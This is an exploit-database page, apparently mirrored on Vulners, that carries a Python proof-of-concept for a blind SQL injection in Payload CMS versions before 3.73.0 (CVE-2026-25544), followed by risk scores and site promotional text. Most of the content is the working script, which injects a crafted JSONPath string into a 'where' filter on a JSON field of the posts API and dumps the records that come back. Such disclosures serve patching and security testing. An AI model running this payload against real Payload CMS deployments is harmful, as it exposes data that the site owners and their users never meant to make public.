Lucene search
+L

Payload CMS 3.72.0 - Blind SQL Injection

🗓️ 01 Sep 2026 00:00:00Reported by cardosourceType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 3 Views

Blind SQL injection in Payload CMS below 3.73.0 via where filters on JSON or RichText fields.

Related
Code
# Exploit Title: Payload CMS 3.72.0 - Blind SQL Injection
# Google Dork: N/A
# Date: 2026-08-01
# Exploit Author: cardosource
# Vendor Homepage: https://payloadcms.com/
# Software Link: https://github.com/payloadcms/payload
# Version: < 3.73.0
# Tested on: Docker - Node.js v24.18.1 (Recommended LTS) + Payload CMS 3.72.0 + PostgreSQL 15
# CVE: CVE-2026-25544
#
# Description:
# Payload CMS versions prior to 3.73.0 contain a Blind SQL Injection
# vulnerability when processing `where` filters on JSON or RichText
# fields using the Drizzle database adapters.
#
# This PoC demonstrates SQL injection through attacker-controlled JSON
# filter input affecting generated JSONPath expressions.
#


import requests
import json
from typing import Dict, Any, Optional


def fetch_posts() -> requests.Response:
    url: str = "http://localhost:3000/api/posts"
    filter_criteria: Dict[str, Dict[str, str]] = {
        "metadata.role": {
            "equals": 'x" || @ == @ || @ == "'
        }
    }

    params: Dict[str, Any] = {
        "where": json.dumps(filter_criteria),
        "limit": 100,
        "depth": 0,
    }
    return requests.get(url, params=params, timeout=15)

def display_status(response: requests.Response) -> None:
    print("status:", response.status_code)
    print("content-type:", response.headers.get("content-type"))
    print()

def display_content(response: requests.Response) -> None:
    try:
        data: Dict[str, Any] = response.json()
        print("totalDocs:", data.get("totalDocs"))
        print("docs:", len(data.get("docs", [])))
        print()
        print(json.dumps(data, indent=2, ensure_ascii=False)[:4000])
    except Exception as error:
        print("not JSON:", error)
        print(response.text[:1000])

def main() -> None:
    response: requests.Response = fetch_posts()
    display_status(response)
    display_content(response)


if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.19.8
EPSS0.00453
SSVC
3